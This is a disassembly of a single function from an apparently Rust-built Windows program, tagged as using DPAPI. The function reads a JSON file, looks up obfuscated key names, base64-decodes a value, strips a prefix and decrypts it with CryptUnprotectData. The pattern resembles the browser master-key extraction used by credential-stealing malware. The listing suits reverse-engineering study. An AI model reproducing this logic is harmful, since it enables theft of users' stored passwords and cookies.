Function at 0x140111630
Capabilities:
Encrypt data using dpapi

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x108
mov dword [rsp + 0x48], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 7
mov qword [rsp + 0x64], 0
mov word [rsp + 0x6c], 0
mov byte [rsp + 0x68], 1
lea r8, [rsp + 0x48]
call sym.std::sys::windows::fs::File::open::hb1a2d50cc7a4d6dd
mov rdi, rdx
test rax, rax
je 0x14011168a
mov r15, rdi
jmp 0x1401117fa
lea rcx, [rsp + 0x48]
mov rdx, rdi
call sym.std::sys::windows::fs::File::file_attr::h82ab68ec0f8c7faa
cmp dword [rsp + 0x48], 2
jne 0x1401116b4
mov rcx, qword [rsp + 0x50]
call sym.core::ptr::drop_in_place_std::io::error::Error_::he1a1f231b7e07eb9
mov eax, 1
xor r9d, r9d
xor esi, esi
jmp 0x14011171a
mov rsi, qword [rsp + 0x80]
test rsi, rsi
je 0x14011170d
js 0x140112049
movzx eax, byte [0x140361100]
mov rcx, qword [0x1403610c8]
test rcx, rcx
jne 0x1401116f2
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14011203a
mov rcx, rax
mov qword [0x1403610c8], rax
xor edx, edx
mov r8, rsi
call fcn.14014aadc
test rax, rax
je 0x14011203a
mov r9d, 1
jmp 0x14011171a
mov r9d, 1
xor esi, esi
mov eax, 1
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0xd0]
lea r8, [rsp + 0x90]
mov rdx, rdi
call sym.std::io::default_read_to_end::h04ac649da82ecb51
mov rsi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x48]
mov rdx, rsi
mov r8, rbx
call sym.core::str::converts::from_utf8::hd5bca62fe5539a8f
cmp qword [rsp + 0x48], 0
mov rax, qword [rsp + 0xd0]
je 0x140111792
test rax, rax
je 0x1401117cf
mov r15, qword [rsp + 0xd8]
jmp 0x1401117d6
mov r15, qword [rsp + 0xd8]
mov qword [rsp + 0xa0], rbx
test rax, rax
jne 0x1401117d6
movabs r14, 0x8000000000000000
mov r13, qword [rsp + 0x90]
mov rcx, rdi
call fcn.14014ac64
cmp r13, r14
jne 0x1401118c6
mov r15, rsi
jmp 0x1401117fa
lea r15, [0x14032e3b8]
cmp qword [rsp + 0x90], 0
je 0x1401117f2
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rsi
call fcn.14014aabc
mov rcx, rdi
call fcn.14014ac64
movzx eax, byte [0x140361100]
mov rcx, qword [0x1403610c8]
test rcx, rcx
jne 0x140111825
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14011202b
mov rcx, rax
mov qword [0x1403610c8], rax
mov r8d, 0x18
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x14011202b
mov r14, rax
mov qword [rax], 0
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov eax, r15d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1401118af
test rax, rax
je 0x1401118af
lea rsi, [r15 - 1]
mov rdi, qword [r15 - 1]
mov rbx, qword [r15 + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14011189e
cmp qword [rbx + 0x10], 0x11
jb 0x14011188d
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rdi
call fcn.14014aabc
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rsi
call fcn.14014aabc
mov rax, r14
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 0
mov byte [rsp + 0x78], pe_nt_image_headers64
lea rcx, [rsp + 0x90]
lea r14, [rsp + 0x48]
mov rdx, r14
call sym._ZN10serde_json5value2de77__LT_impl_u20_serde..de..Deserialize_u20_for_u20_serde_json..value..Value_GT_11deserialize17h41c2f57
cmp byte [rsp + 0x90], 6
je 0x140112050
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
mov rax, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
cmp rdx, rax
jae 0x14011199f
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x60]
neg rax
inc rdx
movabs r9, 0x100002600
nop word cs:[rax + rax]
movzx r10d, byte [r8 + rdx - 1]
cmp r10, 0x20
ja 0x140111f1d
bt r9, r10
jae 0x140111f1d
mov qword [rsp + 0x70], rdx
lea r10, [rax + rdx]
inc r10
inc rdx
cmp r10, 1
jne 0x140111970
movzx ebx, byte [rsp + 0xd0]
mov rbp, qword [rsp + 0xd8]
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xc0], rax
mov rdi, qword [rsp + 0xe8]
cmp qword [rsp + 0x48], 0
je 0x1401119e2
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
cmp ebx, 6
je 0x140111ffd
lea rax, [0x140321361]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
movabs rax, 0x23ec5c3d51a2efb
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
call sym.obfstr::xref::inner::hfb20ca965cfe41f0
movabs rcx, 0xf082bbc28a742c7f
xor rcx, qword [rax]
mov qword [rsp + 0x90], rcx
xor r15d, r15d
cmp ebx, 5
mov qword [rsp + 0x100], rdi
mov dword [rsp + 0xfc], ebx
jne 0x140111b67
test rbp, rbp
je 0x140111b67
mov qword [rsp + 0xb8], r13
mov r12d, 8
lea r15, [rsp + 0x90]
mov rax, rbp
mov ebp, 0xff
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0xb0], rax
mov rcx, rax
lea rax, [rcx + 0x168]
mov qword [rsp + 0xc8], rcx
movzx ecx, word [rcx + 0x272]
mov qword [rsp + 0xf0], rcx
lea rcx, [rcx*8]
lea r13, [rcx + rcx*2]
mov rbx, 0xffffffffffffffff
nop word cs:[rax + rax]
test r13, r13
je 0x140111b12
lea r14, [rax + 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rdi, r8
sub rdi, 8
cmovae r8, r12
neg rdi
mov rcx, r15
call sub.msvcrt.dll_memcmp
cdqe
test eax, eax
cmovne rdi, rax
xor ecx, ecx
test rdi, rdi
setne cl
cmovs ecx, ebp
inc rbx
add r13, 0xffffffffffffffe8
mov rax, r14
cmp cl, 1
je 0x140111ac0
movzx eax, cl
test eax, eax
jne 0x140111b1a
jmp 0x140111b43
mov rbx, qword [rsp + 0xf0]
mov rax, qword [rsp + 0x40]
sub rax, 1
jb 0x140111d0d
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + rbx*8 + 0x278]
jmp 0x140111a84
shl rbx, 5
mov r15, qword [rsp + 0xc8]
add r15, rbx
mov r13, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0xb0]
lea r14, [rsp + 0x48]
test r15, r15
lea rdi, [0x14032d488]
cmove r15, rdi
lea rax, [0x14031d166]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
movabs rax, 0x88d54d1c608d9897
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
call sym.obfstr::xref::inner::he4ba6d55f499dbba
movabs rcx, 0x6f2007e787d7fb59
xor rcx, qword [rax]
mov edx, 0x9446d129
xor edx, dword [rax + 8]
movzx eax, byte [rax + 0xc]
xor al, 0x18
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x50], edx
mov byte [rsp + 0x54], al
cmp byte [r15], 5
jne 0x140111d41
mov rcx, qword [r15 + 8]
test rcx, rcx
je 0x140111d41
mov qword [rsp + 0xb0], rbp
mov qword [rsp + 0xb8], r13
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x40], rax
mov ebp, 0xd
lea r14, [rsp + 0x48]
mov ebx, 0xff
lea rax, [rcx + 0x168]
mov qword [rsp + 0xc8], rcx
movzx ecx, word [rcx + 0x272]
mov qword [rsp + 0xf0], rcx
lea rcx, [rcx*8]
lea r13, [rcx + rcx*2]
mov r12, 0xffffffffffffffff
nop word [rax + rax]
test r13, r13
je 0x140111c92
lea r15, [rax + 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rdi, r8
sub rdi, 0xd
cmovae r8, rbp
neg rdi
mov rcx, r14
call sub.msvcrt.dll_memcmp
cdqe
test eax, eax
cmovne rdi, rax
xor ecx, ecx
test rdi, rdi
setne cl
cmovs ecx, ebx
inc r12
add r13, 0xffffffffffffffe8
mov rax, r15
cmp cl, 1
je 0x140111c40
movzx eax, cl
test eax, eax
jne 0x140111c9a
jmp 0x140111cc3
mov r12, qword [rsp + 0xf0]
mov rax, qword [rsp + 0x40]
sub rax, 1
jb 0x140111d2a
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + r12*8 + 0x278]
jmp 0x140111c06
shl r12, 5
mov rax, qword [rsp + 0xc8]
add rax, r12
mov r13, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0xb0]
lea rdi, [0x14032d488]
test rax, rax
cmovne rdi, rax
cmp byte [rdi], 3
je 0x140111d4f
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srcio_borrowed_buf.rs_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
lea r8, [0x14032b110]
mov edx, 0x2b
call sym.core::panicking::panic::haa5ab648900af052
mov r13, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0xb0]
lea r14, [rsp + 0x48]
xor r15d, r15d
jmp 0x140111b67
mov r13, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0xb0]
lea rdi, [0x14032d488]
xor eax, eax
test rax, rax
cmovne rdi, rax
cmp byte [rdi], 3
jne 0x140111cf5
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
lea r15, [rsp + 0x48]
mov rcx, r15
call sym.base64::engine::Engine::decode::inner::hd5de8c1b291fcd3b
mov r12, qword [rsp + 0x48]
movabs rax, 0x8000000000000000
cmp r12, rax
je 0x140112062
mov rdx, qword [rsp + 0x58]
cmp rdx, 4
jbe 0x14011209b
mov r14, qword [rsp + 0x50]
lea rax, [r14 + 5]
add edx, 0xfffffffb
mov dword [rsp + 0x90], edx
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rcx, [rsp + 0x90]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.CRYPT32.dll_CryptUnprotectData
mov rdi, qword [rsp + 0x50]
mov ebx, dword [rsp + 0x48]
test r12, r12
je 0x140111e01
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, r14
call fcn.14014aabc
movzx eax, byte [0x140361100]
mov rcx, qword [0x1403610c8]
test rcx, rcx
jne 0x140111e2c
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14011202b
mov rcx, rax
mov qword [0x1403610c8], rax
mov r8d, 0x18
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x14011202b
mov r14, rax
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rbx
mov eax, dword [rsp + 0xfc]
cmp eax, 3
jb 0x140111f0f
je 0x140111e8d
cmp eax, 4
jne 0x140111eaa
mov rdi, qword [rsp + 0x100]
test rdi, rdi
je 0x140111e8d
mov r15, qword [rsp + 0xc0]
mov rcx, r15
call sym._ZN4core3ptr45drop_in_place_LT_serde_json..value..Value_GT_17h5d30536899b56174E.5152
add r15, 0x20
dec rdi
jne 0x140111e7c
test rbp, rbp
je 0x140111f0f
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, qword [rsp + 0xc0]
call fcn.14014aabc
jmp 0x140111f0f
test rbp, rbp
mov rcx, qword [rsp + 0x100]
je 0x140111eef
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], rbp
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], rbp
mov qword [rsp + 0x80], rax
mov eax, 1
jmp 0x140111ef3
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x48]
call sym._ZN4core3ptr117drop_in_place_LT_alloc..collections..btree..map..IntoIter_LT_alloc..string..String_C_serde_json..value..Value_G
test r13, r13
jne 0x14011189e
jmp 0x1401118af
mov qword [rsp + 0x90], 0x16
call sym.__serde_json::read::StrRead_as_serde_json::read::Read_::peek_position::he8a71331a603423e
mov r8, rdx
lea rcx, [rsp + 0x90]
mov rdx, rax
call sym.serde_json::error::Error::syntax::hfab9ca3b15c9179d
mov rbp, rax
movzx eax, byte [rsp + 0xd0]
cmp rax, 3
jb 0x140111fe2
cmp eax, 3
je 0x140111faa
cmp eax, 4
jne 0x140111fd5
mov rsi, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
test rdi, rdi
je 0x140111f91
mov rbx, rsi
nop dword [rax + rax]
mov rcx, rbx
call sym._ZN4core3ptr45drop_in_place_LT_serde_json..value..Value_GT_17h5d30536899b56174E.5152
add rbx, 0x20
dec rdi
jne 0x140111f80
cmp qword [rsp + 0xd8], 0
je 0x140111fe2
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rsi
jmp 0x140111fc6
cmp qword [rsp + 0xd8], 0
je 0x140111fe2
mov r8, qword [rsp + 0xe0]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
cmp qword [rsp + 0x48], 0
jne 0x140111fea
jmp 0x140111ffd
lea rcx, [rsp + 0xd8]
call sym._ZN99__LT_alloc..collections..btree..map..BTreeMap_LT_K_C_V_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_4drop17h8fa74ae13c48e7
cmp qword [rsp + 0x48], 0
je 0x140111ffd
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
mov qword [rsp + 0x48], rbp
lea rax, [0x14032b110]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_serde_json::error::Error_::h8b838c226a7191ca
lea r8, [rsp + 0x48]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he510860cc1c360dc
mov ecx, 8
mov edx, 0x18
call sym.alloc::alloc::handle_alloc_error::hc580476980f9927e
mov ecx, 1
mov rdx, rsi
call sym.alloc::alloc::handle_alloc_error::hc580476980f9927e
jmp 0x14011204e
call sym.alloc::raw_vec::capacity_overflow::he878bd52295379cc
ud2
mov rbp, qword [rsp + 0x98]
cmp qword [rsp + 0x48], 0
jne 0x140111fea
jmp 0x140111ffd
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x90], xmm0
lea rax, [0x14032b110]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, method._HmD.virtual_0
lea r8, [rsp + 0x90]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he510860cc1c360dc
lea r8, [0x14032b110]
mov ecx, 5
call sym.core::slice::index::slice_start_index_len_fail::h00ab2e49bd1214e3
mov rsi, rax
cmp qword [rsp + 0x90], 0
je 0x1401120e3
mov r8, qword [rsp + 0x98]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
mov rcx, rdi
call fcn.14014ac64
mov rcx, rsi
call sym._Unwind_Resume
mov rsi, rax
mov rcx, rdi
call fcn.14014ac64
mov rcx, rsi
call sym._Unwind_Resume
int3